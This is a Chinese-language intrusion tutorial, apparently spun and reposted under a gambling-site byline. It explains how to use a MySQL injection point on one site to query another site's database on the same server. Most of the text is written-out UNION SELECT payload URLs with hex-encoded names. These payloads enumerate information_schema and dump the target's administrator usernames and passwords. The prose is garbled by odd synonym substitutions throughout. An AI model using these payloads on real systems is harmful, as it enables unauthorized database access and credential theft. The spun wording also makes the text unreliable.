文章作者:泛亚娱乐HLck
入侵设想:
目的是A站点,保险性比拟可以。然而在同服务器下的B站点,我们发明了一个Mysql 注入点,并且还有查询相关库的权限。
那么,我们就可以通过B站点的注入点跨库查询A站点的信息,入侵之 ..
当然你也能够把B站点入侵了,再入侵A。但不是有注入点就可以入侵的,偶·跑题了。
大家晓得在mysql5.0当前参加了 information_schemata 这个虚构库,根本构造如下:
Information_schema' Schemata 存放数据库信息的表
' Tables 存放数据库中表信息的表
' Columns 寄存数据库中列信息的表
..
对咱们入侵非常有辅助。
既然我们要跨库,就须要查询库信息。怎么查·上图,来得直接
还有一个要先容的,如果我们要查问mysql库中的user表中的相干信息,我们可以这样查:
好了,XX们已经等不急了。
B站注入点:
www.b./b.phpID99
看看数据库基础情形
www.b./b.phpID99/../union/../select/../1,concat(user(),0x2c,version())
5.x的mysql,挺好的。持续
查库:
www.b./b.phpID99/../union/../select/../1,schema_name/../from/../information_schema.schemata/../limit/../0,1
这样查出来的就是mysql中的第一个数据库,想要查第二个数据库就将limit 0,1改为limit 1,1
以此类推。
有人就要问了,你怎么知道A站点的数据库是哪个呀·
这个嘛,1.Load_file,要看福气
2.猜猜,还可以看A站是不是整站程序,凭教训猜猜,像helen这样的牛B社工猜出来没问题。
通过上面的操作,我们已经获取了A站点的数据库名 adb(假设)
查治理员表:
www.b./b.phpID99/../union/../select/../1,table_name/../from/../information_schema.tables/../where/../table_schema0x616462/../limit/../0,1、
得到管理员表为 adb_admin
查管理员中表的字段:
www.b./b.phpID99/../union/../select/../1,column_name/../from/../information_schema.columns/../where/../table_name0x6164625F61646D696E/../limit/../0,1
.
得到管理员表字段为 admin_name admin_pass
查管理员帐,信息:
www.b./b.phpID99/../union/../select/../1,concat(admin_name,0x2c,admin_pass)/../from/../adb.adb_admin/../limit/../0,1
OK到这里A站点的管理员信息也就查询出来了,XX们,继承入侵工作
注:
adb的Hex为0x616462
adb_admin的Hex为0x6164625F61646D696E
, 的Hex为0x2c